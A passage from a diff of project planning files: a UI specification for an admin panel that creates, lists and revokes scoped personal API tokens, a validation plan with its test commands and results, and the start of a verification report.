| Meta: expiry | `api_tokens.expires_at` "Expires :date" / "Wygasa :date"; `api_tokens.expired_at` "Expired :date" / "Wygasł :date"; `api_tokens.no_expiry` "No expiry" / "Bez terminu ważności" |
| Meta: revoked | `api_tokens.revoked_at` "Revoked :date" / "Unieważniono :date" |
| State chips | `api_tokens.state_expired` "Expired" / "Wygasły"; `api_tokens.state_revoked` "Revoked" / "Unieważniony" |
| Unknown scope chip and tooltip | `api_tokens.unknown_scope` ":name (unknown)" / ":name (nieznany)"; `title` `api_tokens.unknown_scope_hint` "This scope is no longer registered and grants nothing." / "Ten zakres nie jest już zarejestrowany i nic nie przyznaje." |
| Hint (aria-label of the mono hint) | `api_tokens.hint` "Token ending in :last4" / "Token kończący się na :last4" |
### Changed existing key
`myaccount.menu_description` becomes "Edit your name, email, subtitle and password, and manage your API tokens." / "Zmień imię, nazwisko, e-mail, podtytuł i hasło oraz zarządzaj tokenami API."
---
## Component Contracts
### 1. Placement on `/account`
- The API tokens card renders **after** the profile/password `<form>` and **outside** it, as a sibling inside the existing `section` stack (`gap-5`). It is never inside the `<form>`: the fixed footer "Save" saves only the profile and never touches tokens, and every token action is immediate.
- The card uses the existing account card class verbatim: `flex flex-col gap-4 rounded-card border border-border bg-surface p-7 shadow-card`, with `data-api-tokens`.
- The `ConfirmDialog` already mounted by `AccountView` serves revoke and close-without-copying. The panel receives the view's `useConfirm()` instance (prop or provide/inject; planner's choice).
### 2. Card header and toolbar
- Header: `flex flex-wrap items-start justify-between gap-4`. Left column `flex min-w-0 flex-col gap-1`: `h2` `api_tokens.section` (18/700) and `p` `api_tokens.section_comment` (13px muted, `max-w-[640px]`). Right: `Button variant="outline" size="sm" :icon="Plus"` with `api_tokens.create`, `data-action="create-token"`. Disabled while the list is in its first load.
- Visual anchor: the 18/700 heading is read first, then the row names. The card has no primary fill, so it never competes with the page's footer Save.
- Toolbar row (only after a successful load): `label.flex.items-center.gap-2` holding the native checkbox (`size-5 shrink-0 rounded-[6px] accent-primary`, `data-show-revoked`) and `api_tokens.show_revoked` (14/400). Toggling reloads the list with revoked rows included (D-09); the toggle state lives in the component only (not in the URL, not persisted).
### 3. Token list
- Container: `flex flex-col overflow-hidden rounded-inner border border-border`, `role="list"`, `data-token-list`. Rows are ordered newest first (`created_at` desc). No pagination: one user's tokens are a short list; the server returns them all.
- Row (`role="listitem"`, `data-token-row="<id>"`): `flex items-start justify-between gap-4 border-t border-border px-4 py-3.5 first:border-t-0 max-sm:flex-col`.
- Left column `flex min-w-0 flex-1 flex-col gap-2`:
- Line 1, `flex flex-wrap items-center gap-2`: the token name (14/600, `[overflow-wrap:anywhere]`, never truncated, since the name is how the user tells tokens apart); the hint `g15_…a1b2` (13px `font-mono text-muted`, `aria-label` `api_tokens.hint`); the state chip when the token is expired or revoked.
- Line 2, `flex flex-wrap gap-2`, `data-token-scopes`: one chip per stored scope, in stored order.
- Line 3, meta: 13px muted `tabular-nums`, items joined with " · ": created, last used (or never used), then expiry (expires / expired / no expiry), and for revoked rows the revoked date.
- Right: `Button variant="danger" size="sm" :icon="Ban"` with `api_tokens.revoke` "Revoke token", aria-label `api_tokens.revoke_named`, `data-action="revoke-token"`. Shown on active and expired rows, hidden on revoked rows. On `max-sm` it sits under the meta line (`self-start`).
- Chips (all `inline-flex h-6 items-center rounded-pill px-2.5 text-[13px] font-semibold whitespace-nowrap`):
| Chip | Extra classes | Text |
|------|---------------|------|
| Known scope | `bg-subtle text-text` | the scope label (`*` shows `api_tokens.scope_all`); `title` = the scope's mono name |
| Unknown scope (no longer registered, D-12 discretion) | `border border-dashed border-border-strong text-muted font-mono` | `api_tokens.unknown_scope` with the raw name; `title` `api_tokens.unknown_scope_hint` |
| State: expired | `bg-danger-soft text-danger` | `api_tokens.state_expired` |
| State: revoked | `border border-border-strong text-muted` | `api_tokens.state_revoked` |
- Revoked rows: name and meta use `text-muted`; no line-through (the chip states it in text, WCAG 1.4.1).
- Dates: created, expires and expired show `YYYY-MM-DD`; last used and revoked show `YYYY-MM-DD HH:mm`, both in the browser's local time, the same shapes as the list `datetime` cell in `CellValue.vue` (reuse or extract that formatter; do not add a new date format).
- Labels for list chips come from the same scope catalog the server uses (the list payload carries a label and a known flag per scope, or the panel maps names through a catalog that includes every registered scope, not only the ones the picker shows). A name with no label is rendered as unknown. The API shape is the planner's call; the rendering rule is fixed here.
### 4. Create dialog, step 1 (form)
- Shell: the `RelationPickerModal` shell, verbatim: `DialogOverlay` `fixed inset-0 z-40 bg-overlay` with `data-dialog-overlay`; `DialogContent` `fixed top-1/2 left-1/2 z-50 flex max-h-[calc(100vh-32px)] w-[calc(100%-32px)] max-w-[560px] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 rounded-modal bg-surface p-6 text-text shadow-pop` with `data-dialog-content` and `data-token-dialog`, using the existing 200 ms fade/scale.
- Header `flex items-start gap-3`: `DialogTitle` `api_tokens.create_title` (20/700 class copied) and `DialogDescription` `api_tokens.create_description` (14px muted) in a `flex min-w-0 flex-1 flex-col gap-1` column; the 34px `DialogClose` button copied from the picker (`X` 16px, aria `form.close`).
- Body: `<form novalidate>` with `fieldset` (`disabled` while busy) holding a `flex min-h-0 flex-col gap-[18px] overflow-y-auto` stack:
1. **Name.** `label` (14/600) + `input type="text"` `h-input` with `controlClass(invalid)`, `maxlength="100"`, `autocomplete="off"`, placeholder `api_tokens.name_placeholder`, comment line `api_tokens.name_comment` (13px muted). The server enforces the same 100-character limit and trims the value.
2. **Expiration.** A `span` label (14/600) naming a Reka `RadioGroupRoot` (`orientation="horizontal"`, `aria-labelledby`) styled as the PermissionEditor segmented control: root `inline-flex flex-wrap gap-1 rounded-inner border border-border bg-subtle p-1`; items `inline-flex h-pager items-center rounded-tab px-4 text-[13px] whitespace-nowrap text-muted transition-colors duration-150 ease-out hover:text-text data-[state=checked]:bg-surface data-[state=checked]:text-text data-[state=checked]:shadow-tab data-[state=checked]:text-[14px] data-[state=checked]:font-semibold`. Values `30d`, `90d`, `365d`, `never` in that order; **default `90d`** (D-08). Under it, a 13px muted `tabular-nums` preview line: `api_tokens.expires_on` with today plus N days as `YYYY-MM-DD` (local), or `api_tokens.expires_never_note` for never. The server computes the stored instant; the preview is informational.
3. **Scopes.** A `span` label (14/600) naming a `role="group"` container `overflow-hidden rounded-inner border` (`border-danger` when the scopes field has an error, else `border-border`), `data-scope-picker`. One row per scope from `GET …/account/tokens/scopes`, in server order (`*` first, then `admin:read`, then plugin scopes). The server already hides scopes that grant the user nothing (D-17); the SPA renders exactly what it receives.
- Row: `label.flex.min-h-[56px].cursor-pointer.items-start.gap-3.border-t.border-border.px-4.py-3.first:border-t-0`, `data-scope="<name>"`. Left: native checkbox `mt-0.5 size-5 shrink-0 rounded-[6px] accent-primary`. Right `flex min-w-0 flex-col`: line 1 `flex flex-wrap items-center gap-1` with the scope label (14/600), the mono name (13px `font-mono text-muted`), and the "Read-only" chip (`bg-subtle text-muted`, chip classes above) when the scope's methods are only GET/HEAD; line 2 the description (13px muted, `[overflow-wrap:anywhere]`).
- Rows are 12px gap (`gap-3`), the same exception 12.2 approved for picker option rows.
- `*` checked: every other row's checkbox is unchecked and `disabled` (row `cursor-not-allowed opacity-60`), and a note shows under the group: `flex items-center gap-2 text-[13px] text-muted`, `Info` 14px, `api_tokens.scope_all_includes`. Only `["*"]` is sent. Unchecking `*` re-enables the rows (previous picks are not restored).
- No scope pre-selected on open.
- Field errors render under each field exactly like `AccountView`: `flex flex-col gap-0.5 text-[13px] text-danger`, one `p.flex.items-center.gap-1.5` per message with `CircleAlert` 14px, linked by `aria-describedby`, the control gets `aria-invalid="true"`. The scopes error sits under the group.
- Footer `flex gap-2.5`: two equal-width buttons (`flex-1`), `Button variant="outline"` `api_tokens.create_cancel` "Discard token" (closes and discards input, `data-action="create-token-cancel"`) and `Button variant="primary" type="submit"` `api_tokens.create_submit`, `data-action="create-token-submit"`. Enter in the name input submits.
- Behaviour:
- On open, the scopes request runs; while it is pending the scopes group shows 3 skeleton rows (`min-h-[56px]` rows holding a 20px `rounded-[6px] bg-skel` square and a `h-3 w-40 rounded-[6px] bg-skel` bar) and the submit is disabled.
- Scopes load failure: the group is replaced by the alert block (`rounded-inner bg-danger-soft px-[18px] py-3.5 text-danger`, `role="alert"`) with `api_tokens.scopes_failed`; submit stays disabled; "Discard token" closes.
- The SPA does no client-side validation beyond `maxlength`; empty name and no scope go to the server and come back as a 422, rendered as above, with focus on the first invalid control (name input, else the first scope checkbox, else the first segment).
- Busy: `fieldset` disabled, the primary label is `api_tokens.creating` with `LoaderCircle` 16px `animate-spin`, "Discard token" and the close button are disabled, Esc and overlay click are ignored. A second submit while busy is a no-op.
- Non-422 failure: `api_tokens.create_failed` danger toast; the dialog stays on step 1 with input kept.
- Closing step 1 any way (Esc, overlay, close button, "Discard token") discards input with no confirm.
- Focus: on open, the name input; on close, back to the card's "Create token" button.
### 5. Create dialog, step 2 (show once)
- Success swaps the dialog content in place (same `DialogContent`, same width); the list reloads in the background so the new row is present when the dialog closes.
- Header: `DialogTitle` `api_tokens.created_title`; the close button stays.
- Notice (the visual anchor of the step): `flex items-start gap-2 rounded-inner bg-sel px-4 py-3.5 text-text`, `role="note"`, `data-token-notice`: `TriangleAlert` 16px (`mt-0.5 shrink-0`, `aria-hidden`) and `api_tokens.created_notice` (14/400). This is also the `DialogDescription`.
- Plaintext: a `label` (`sr-only`) `api_tokens.token_label` and a full-width read-only `input` with `controlClass(false)` plus `h-input bg-subtle font-mono text-[14px]`, `readonly`, `autocomplete="off"`, `spellcheck="false"`, `data-token-plaintext`. Focus or click selects the whole value. The full token is visible, not masked: it is shown once and the user must be able to read and verify it.
- Copy row, 8px below: `flex flex-wrap items-center gap-2`: `Button variant="outline" size="sm" :icon="Copy"` `api_tokens.copy`, `data-action="copy-token"`, then a 13px status line.
- Copy uses `navigator.clipboard.writeText`. On success the button shows `Check` and `api_tokens.copied` for 2 s, a `sr-only` `aria-live="polite"` region announces `api_tokens.copied_announce`, and the dialog records that the token was copied.
- When the Clipboard API is missing or rejects: the input is focused with its value selected, and the status line shows `api_tokens.copy_failed` in 13px `text-danger` with `CircleAlert` 14px (`role="alert"`). A manual copy (Ctrl+C or the context menu) on the input also counts as copied (`copy` event on the input).
- Footer: one `Button variant="primary"` `api_tokens.done`, right-aligned (`flex justify-end`), `data-action="hide-token"`. It closes without a confirm.
- Closing rules:
- Overlay click never closes step 2 (`@pointer-down-outside` and `@interact-outside` prevented).
- Esc and the close button: when the token was copied, close at once; otherwise ask `api_tokens.close_uncopied_confirm` (ConfirmDialog, `danger`) and close only on confirm.
- Focus: on entering step 2, the "Copy token" button; on close, the card's "Create token" button.
- Plaintext handling (security, binding): the plaintext lives only in the dialog component's local state; it is set from the create response and cleared on close (and on unmount). It is never written to a toast, the console, `localStorage`/`sessionStorage`, the URL, the router state or the list rows. Reopening the dialog always starts at step 1.
### 6. Revoke
- The row's "Revoke token" button calls `confirm.ask({ message: t('api_tokens.revoke_confirm', { name }), confirmLabel: t('api_tokens.revoke_submit'), danger: true }, run)`, where `run` sends `DELETE …/account/tokens/{id}`.
- Success: the list reloads, `api_tokens.revoked` success toast. With "Show revoked tokens" off the row leaves the list; with it on the row turns into a revoked row. Focus moves to the card's "Create token" button.
- 404: `api_tokens.gone` danger toast, list reloads. Other failure: `api_tokens.revoke_failed` danger toast, the row stays as it was.
### 7. List states
- **Loading (first load and toggle reload):** the list container shows 3 skeleton rows with the row padding: a `h-3 w-40` bar above a `h-3 w-64` bar, both `rounded-[6px] bg-skel`, `aria-hidden`, and the container gets `aria-busy="true"`.
- **Load failure:** the alert block (`rounded-inner bg-danger-soft px-[18px] py-3.5 text-danger`, `role="alert"`, `data-tokens-error`) with `CircleAlert` 16px and `api_tokens.load_failed` replaces the list; the toolbar toggle is hidden; the "Create token" button stays enabled (creating does not depend on the list).
- **Empty:** in place of the list, `flex flex-col items-center gap-2 rounded-inner border border-dashed border-border-strong px-6 py-8 text-center`, `data-tokens-empty`: a 40px `bg-subtle` circle with `KeyRound` 20px muted, `api_tokens.empty_title` (14/600), `api_tokens.empty_body` (13px muted, `max-w-[420px]`). The same block shows when "Show revoked tokens" is on and the user has no tokens at all.
### 8. Interactive-only and auth
- The SPA always calls the token endpoints with the admin JWT session, so the interactive-only refusal (D-06) never surfaces in the UI. A 401 goes through the existing client refresh-and-replay and, failing that, the existing sign-in redirect. No token-specific auth UI.
- The panel does not show the scope picker's hidden scopes, the owner's permissions, or any permission pattern: scope labels and descriptions are the only explanation of access.
---
## UI Considerations
Applicable state considerations resolved (ui-consideration-probe, run post-verification 2026-10-11: 7 elements — token list, show-revoked toggle, create form, expiry control, scope picker, show-once step, revoke action — 48 element×state pairs, kinds confirmed by the user). Every pair is covered, backstopped or dismissed with a reason; 0 unresolved. Rows group pairs that share a resolution. Copy for empty and error rows lives in the Copywriting Contract.
| Category | Element(s) | Status | Resolution / Reason |
|----------|------------|--------|---------------------|
| empty | Token list | ✅ covered | With no tokens, the dashed empty block shows `api_tokens.empty_title` and `api_tokens.empty_body`; the card's "Create token" button stays the single next step |
| loading | Token list | ✅ covered | First load and the show-revoked reload show 3 skeleton rows with `aria-busy="true"`; the "Create token" button is disabled only during the first load |
| error | Token list | ✅ covered | A failed load replaces the list with the `api_tokens.load_failed` alert block (`role="alert"`) and hides the toggle |
| populated | Token list | ✅ covered | Each row shows name, mono hint, scope chips, the meta line (created, last used or never used, expiry) and a "Revoke token" button; newest first |
| partial | Token list (mixed states) | ✅ covered | Active, expired and revoked rows coexist; expired rows carry the danger-soft "Expired" chip and keep "Revoke token"; revoked rows are muted with the "Revoked" chip and no "Revoke token" button |
| zero-one-many | Token list | ✅ covered | Zero: empty block; one or more: rows separated by `border-t`, no pagination, page scroll only |
| overflow | Token list | ✅ covered | Rows stack vertically and the page scrolls; scope chips wrap with `flex-wrap`; on `max-sm` the "Revoke token" button moves under the meta line |
| long-text | Token name, scope labels | ✅ covered | Names (up to 100 characters) wrap with `[overflow-wrap:anywhere]`, never truncate; scope descriptions wrap the same way; chips never truncate and wrap to new lines |
| partial | Scope chips (unknown scope) | ✅ covered | A stored scope name that no plugin registers any more renders as a dashed muted mono chip `api_tokens.unknown_scope` with the `unknown_scope_hint` title |
| empty | Show-revoked toggle on, no tokens | ✅ covered | Same empty block as above |
| loading | Show-revoked toggle | ✅ covered | Toggling reloads with the list skeleton; the checkbox stays interactive |
| loading | Scope picker | ✅ covered | 3 skeleton scope rows while `GET …/scopes` is pending; submit disabled |
| error | Scope picker | ✅ covered | Load failure shows the `api_tokens.scopes_failed` alert block; submit stays disabled; "Discard token" closes |
| empty | Scope picker | ✅ covered | Cannot be empty: `*` is always offered (D-17). If the server ever returns none, the scopes-failed alert block is shown |
| partial | Scope picker with `*` | ✅ covered | Checking `*` unchecks and disables every other row and shows `api_tokens.scope_all_includes`; only `["*"]` is sent |
| overflow / long-text | Scope picker (many plugin scopes) | ✅ covered | The dialog body scrolls inside `max-h-[calc(100vh-32px)]` while header and footer stay fixed |
| error | Create form (422) | ✅ covered | Server messages render under the name input, the expiry group or the scopes group with `aria-invalid`; focus moves to the first invalid control; the dialog stays on step 1 |
| error | Create form (other failure) | ✅ covered | `api_tokens.create_failed` danger toast; input kept |
| loading | Create submit | ✅ covered | Fieldset disabled, primary shows `api_tokens.creating` with a spinner, "Discard token"/close/Esc/overlay ignored, double submit is a no-op |
| populated | Show-once step | ✅ covered | `bg-sel` notice, full plaintext in a read-only mono input, Copy button with copied state, single "Done, hide token" primary |
| error | Clipboard refused or unavailable | ✅ covered | The input is focused and selected, and `api_tokens.copy_failed` shows in a `role="alert"` line; a manual copy event counts as copied |
| partial | Show-once step closed before copying | ✅ covered | Overlay click is ignored; Esc and the close button ask `api_tokens.close_uncopied_confirm` first; "Done, hide token" closes without a confirm |
| long-text | Plaintext token | ✅ covered | 44 characters of DM Mono 14px fit the full-width input at the 560px dialog width; on narrow screens the input scrolls horizontally and a select-all copy still takes the whole value |
| loading / error | Revoke | ✅ covered | The ConfirmDialog confirm button shows the busy spinner while the request runs; 404 shows `api_tokens.gone` and reloads; other failures show `api_tokens.revoke_failed` and keep the row |
| populated | Plaintext never retained | 🧪 backstop | An SPA unit test asserts that after "Done, hide token" (and after Esc-confirm) the plaintext is absent from the DOM and from the panel state, that reopening starts at step 1, and that no toast text contains the token |
| populated | Copy and live-region flow | 🧪 backstop | An SPA unit test with a stubbed `navigator.clipboard` asserts the copied state, the polite announcement, and that a rejected `writeText` selects the input and shows `api_tokens.copy_failed` |
| partial | Close-without-copy guard | 🧪 backstop | An SPA unit test asserts that Esc on step 2 before copying opens the danger confirm and keeps the dialog on cancel, and that it closes directly after a copy |
| zero-one-many | Scope chips per row | ✅ covered | One chip per stored scope (a token holds one or more, D-03); `*` shows the "Full access" label |
| loading / error / overflow | Expiry segmented control | ➖ dismissed | Four static options with no async data; labels are short and the group wraps (`flex-wrap`) on narrow screens |
| empty / loading / error | Page placement | ➖ dismissed | The card is independent of the profile form: profile load, save and 422 states are unchanged, and the footer Save never includes token data |
| long-text | Revoke confirm message | ✅ covered | `api_tokens.revoke_confirm` interpolates the token name (up to 100 characters, possibly with no spaces). `ConfirmDialog.vue`'s `AlertDialogDescription` currently has no wrap rule, so this phase adds `[overflow-wrap:anywhere]` to it (a one-class change to the shared component, harmless for existing messages) |
| long-text | Create form name input | ✅ covered | The single-line `h-input` scrolls horizontally like every other text input; `maxlength="100"` caps the value, and the server trims and enforces the same limit |
| empty / partial | Create form | ✅ covered | An unfilled form or a partial one (name without scope, scope without name) is submitted as-is; the server's 422 errors render under each field as above. Expiry is never empty (default `90d`) |
| empty / populated / partial / overflow / zero-one-many / long-text | Show-revoked toggle | ➖ dismissed | A single native checkbox with a short static label; its only states are checked/unchecked and the list reload it triggers (covered under Token list); a list load failure hides it |
| empty / partial / long-text | Expiry segmented control | ➖ dismissed | Always has a value (default `90d`), four fixed short labels; the preview line is one short date string |
| empty / loading / overflow | Show-once step | ➖ dismissed | The step exists only after a successful create response, so it is never empty or loading (create loading is under Create submit); its content is fixed-size (notice, one input, one button row) inside the scrolling dialog body |
| empty / populated / partial / overflow / zero-one-many | Revoke action | ➖ dismissed | A per-row button acting on exactly one token; its states are idle, confirming, busy, success and failure (covered under Revoke and the list rows) |
---
## Registry Safety
| Registry | Blocks Used | Safety Gate |
|----------|-------------|-------------|
| shadcn official | none (shadcn not used) | not applicable |
| third-party registries | none | not applicable |
| npm dependencies | none added (Reka UI, `@lucide/vue` and Tailwind already installed at the versions above) | not applicable |
---
## Checker Sign-Off
- [x] Dimension 1 Copywriting: PASS
- [x] Dimension 2 Visuals: PASS
- [x] Dimension 3 Color: PASS
- [x] Dimension 4 Typography: FLAG (inherited 700 heading weight, locked user decision 2026-10-11)
- [x] Dimension 5 Spacing: FLAG (inherited Direction C values, locked user decision 2026-10-11)
- [x] Dimension 6 Registry Safety: PASS
- [x] Dimension 7 Inventory Provenance: PASS
**Approval:** approved 2026-10-11

View File

@@ -0,0 +1,94 @@
---
phase: "16.3"
slug: "backend-admin-personal-api-tokens-with-scopes"
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
status: validated
nyquist_compliant: true
wave_0_complete: true
created: "2026-10-11"
---
# Phase 16.3 — Validation Strategy
> Per-phase validation contract for feedback sampling during execution.
---
## Test Infrastructure
| Property | Value |
|----------|-------|
| **Framework** | Go `testing` (+ testcontainers-go Postgres for DB suites); vitest + @vue/test-utils + happy-dom for the admin SPA |
| **Config file** | `admin/vitest.config.ts` |
| **Quick run command** | `go test ./modules/cabana ./modules/bouncer ./modules/pact -run 'Token|Scope|Allows' -count=1` |
| **Full suite command** | `bash scripts/check-phase16.3.sh --all` |
| **Estimated runtime** | ~145 seconds on a Docker host (gate --all including postgres) |
---
## Sampling Rate
- **After every task commit:** Run the quick run command plus `go vet ./...`
- **After every plan wave:** Run the full suite command (Postgres suites on a Docker host)
- **Before `/msd-verify-work`:** `scripts/check-phase16.3.sh` must be green (no skips, no zero-test stages)
- **Max feedback latency:** 180 seconds
---
## Per-Task Verification Map
Filled by plan 04 with real results. Docker commands ran on this host (Docker daemon available).
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
| 16.3-01-T1 | 01 | 1 | SC-1, SC-2 | T-16.3-01, T-16.3-02, T-16.3-04, T-16.3-07, T-16.3-11 | g15_ token runs as its owner; scope evaluated before the superuser shortcut; method refusal 403 token_scope; malformed tokens refused before the database | unit + Docker | `go test -count=1 -run '^(TestTokenTracerSmoke\|TestPhase09PermissionMatrix\|TestPhase09ContractInventory\|TestPhase10ConformanceInventory)$' ./modules/cabana`; Docker: `go test -count=1 -run '^TestTokenTracerPostgres$' ./modules/cabana` and `go test -count=1 -run '^(TestBackendAdminMetadataColumn\|TestPhase09MigrationsFreshRollback)$' ./modules/lagoon` | ✅ | ✅ green |
| 16.3-01-T2 | 01 | 1 | SC-2 | T-16.3-05, T-16.3-06, T-16.3-09, T-16.3-13 | interactive-only routes refuse every token; /field-types and /markdown/preview gated; ResolveBackend Bearer-only with cover; stamp debounced and non-fatal | unit + Docker | `go test -count=1 -run '^(TestTokenTracerSmoke\|TestTokenGatesSmoke\|TestPhase09PermissionMatrix\|TestPhase09ContractInventory\|TestPhase10ConformanceInventory\|TestPhase10CSRF)$' ./modules/cabana`; Docker: `go test -count=1 -run '^(TestTokenTracerPostgres\|TestAdminAuthLifecycle\|TestAdminLogoutRevokesExpiredRefreshableToken)$' ./modules/cabana` | ✅ | ✅ green |
| 16.3-01-T3 | 01 | 1 | SC-3 | T-16.3-03, T-16.3-08 | plaintext only in the 201 create body; own-only soft revoke; 422 on unknown, empty or non-overlapping scopes | unit + script + Docker | `go test -count=1 -run '^(TestPhase09PermissionMatrix\|TestPhase09ContractInventory\|TestPhase10ConformanceInventory\|TestTokenTracerSmoke\|TestTokenGatesSmoke)$' ./modules/cabana && bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck`; Docker: `go test -count=1 -run '^(TestAccountTokensSmoke\|TestPhase10OpenAPIConformance)$' ./modules/cabana` | ✅ | ✅ green |
| 16.3-01-T4 | 01 | 1 | SC-3, SC-5 | T-16.3-03, T-16.3-08 | admin:token:create prints only the token; CLI applies the overlap rule; docs name no consuming application | unit + Docker | `go vet ./... && go test -count=1 ./modules/party ./modules/pact && go test -count=1 -run '^(TestDocsTree\|TestDelegateCommandsHelp\|TestDocsCommandsMirrorGeneratedMain)$' ./cmd/summer && go run ./cmd/summer docs:build --check && go test -short -count=1 -run '^(TestPluginActivates\|TestRoutesRegistered)$' ./docs/examples/blog`; Docker: `go test -count=1 -run '^(TestTokenCommandsSmoke\|TestAdminCreateCommand)$' ./modules/cabana` | ✅ | ✅ green |
| 16.3-02-T1 | 02 | 2 | SC-3 | T-16.3-14, T-16.3-16 | plaintext shown once and cleared on Done; no storage, console or v-html in the account components | vitest + script | `npm --prefix admin run typecheck && npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts && bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh` | ✅ | ✅ green |
| 16.3-02-T2 | 02 | 2 | SC-3 | T-16.3-16 | revoke through the shared confirm; names rendered as text | vitest + script | `npm --prefix admin run typecheck && npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts tests/ui/ui.test.ts && bash scripts/check-admin-dist.sh` | ✅ | ✅ green |
| 16.3-02-T3 | 02 | 2 | SC-3, SC-5 | T-16.3-14, T-16.3-15, T-16.3-17 | `*` sends only ["*"]; close-without-copy guard; clipboard fallback; server-filtered scopes only | vitest + docs | `npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree` | ✅ | ✅ green |
| 16.3-03-T1 | 03 | 3 | SC-4 | T-16.3-18, T-16.3-20, T-16.3-21 | Journal writes accept a journal-scoped token as the owner; resolver errors map to the PHP bodies | unit + Docker | `go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^TestResolveErrorMapping$' ./controllers/api/ && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...`; Docker: `go -C ../sm-journal-plugin test -count=1 -run '^TestJournalTokenTracer$' .` | ✅ | ✅ green |
| 16.3-03-T2 | 03 | 3 | SC-2, SC-4, SC-5 | T-16.3-18, T-16.3-19, T-16.3-23 | journal:read and unrelated scopes refused on writes; drafts only as the owner may see; featured-image parity | docs + Docker | `go test -count=1 -run '^ExampleResolveBackend$\|^TestDocsTree$' ./modules/cabana ./cmd/summer && go run ./cmd/summer docs:build --check`; Docker: `go -C ../sm-journal-plugin test -count=1 -run '^(TestJournalTokenTracer\|TestJournalTokenExpansion\|TestJournalWriteUnauthenticated\|TestJournalFeaturedImageUnauthenticated)$' .` | ✅ | ✅ green |
| 16.3-03-T3 | 03 | 3 | SC-4 | T-16.3-22 | human approves the tag with the one-way surfaces and NOT RUN suites listed | gate + checkpoint | release gate command in 16.3-03-PLAN.md Task 3 (`… && echo release-gate-ok`) | ✅ | ✅ green |
| 16.3-03-T4 | 03 | 3 | SC-4 | T-16.3-22 | tag, Journal require and host gitlink pushed only after approval | git checks | release-ok command in 16.3-03-PLAN.md Task 4 | ✅ | ✅ green |
| 16.3-04-T1 | 04 | 4 | SC-6, SC-2 | T-16.3-25 | scope rules, every route's token class, SPA plaintext backstop, Journal scope keys | unit + vitest + Docker | `go test -count=1 -run '^(TestScopeMatch\|TestAllowsScope\|TestTokenRouteGates)$' ./modules/cabana && npm --prefix admin test -- tests/account/ApiTokenCreateDialog.test.ts && go -C ../sm-journal-plugin test -short -count=1 -run '^TestJournalTokenScopes$' .`; Docker: `go test -count=1 -run '^TestBackendTokenPostgres$' ./modules/cabana` | ✅ | ✅ green |
| 16.3-04-T2 | 04 | 4 | SC-6, SC-1..SC-4 | T-16.3-25, T-16.3-26 | full Go coverage incl. migration, API, CLI and Journal matrix | unit + Docker | sixteen-name Docker-free cabana set in 16.3-04-PLAN.md Task 2; Docker: lagoon=3, cabana=4, Journal=3 | ✅ | ✅ green |
| 16.3-04-T3 | 04 | 4 | SC-6 | T-16.3-24 | gate fails closed on skips, zero tests and missing names | vitest + gate | `npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-phase16.3.sh --self-test && bash scripts/check-phase16.3.sh --all` → last line `Phase 16.3 gate passed` (postgres PASS on this Docker host) | ✅ | ✅ green |
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
---
## Wave 0 Requirements
- [x] `modules/cabana/token_smoke_test.go`, `token_postgres_smoke_test.go` — plan 01 smoke (tracer, gates, account API, commands)
- [x] `modules/cabana/token_scopes_test.go`, `api_tokens_test.go`, `token_guard_test.go`, `token_routes_test.go` — Allows / scope match / compile / overlap / mint / expiry / validation / guard / resolver / route classification (Docker-free, plan 04)
- [x] `modules/cabana/token_postgres_test.go`, `account_tokens_test.go`, `token_commands_test.go` — Postgres guard, account token API, token commands with stdout purity (plan 04)
- [x] `modules/lagoon/backend_admin_migrations_test.go` — `TestBackendAPITokensMigration` and the updated last-ID test
- [x] `admin/tests/account/ApiTokensPanel.test.ts`, `admin/tests/account/ApiTokenCreateDialog.test.ts` — UI-SPEC states and backstops (path chosen in plan 02; `tests/components/` does not exist)
- [x] `../sm-journal-plugin/controllers/api/auth_test.go`, `journal_api_token_smoke_test.go`, `token_scopes_test.go`, `journal_api_tokens_test.go` — Journal mapping, scopes and token matrix
- [x] `scripts/check-phase16.3.sh` — phase gate
---
## Manual-Only Verifications
| Behavior | Requirement | Why Manual | Test Instructions |
|----------|-------------|------------|-------------------|
| Clipboard copy of the show-once token in a real browser | SC-3 | Clipboard API permissions differ from happy-dom | Create a token in the admin SPA, copy it, use it as `Authorization: Bearer` against a Journal write route |
| Postgres suites when an executor had no Docker daemon | SC-1..SC-4 | testcontainers needs Docker | On a Docker host: `bash scripts/check-phase16.3.sh postgres` (lagoon, cabana and Journal token suites by name). **This executor host ran postgres: PASS.** |
---
## Validation Sign-Off
- [x] All tasks have `<automated>` verify or Wave 0 dependencies
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
- [x] Wave 0 covers all MISSING references
- [x] No watch-mode flags
- [x] Feedback latency < 180s
- [x] `nyquist_compliant: true` set in frontmatter
**Approval:** plan 04 executor — gate `--all` ended with `Phase 16.3 gate passed` (2026-10-11)

View File

@@ -0,0 +1,192 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
verified: 2026-10-11T12:06:35Z
status: passed
score: 6/6 must-haves verified
covered_files:
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-PLAN.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-PLAN.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-PLAN.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-04-PLAN.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-04-SUMMARY.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md
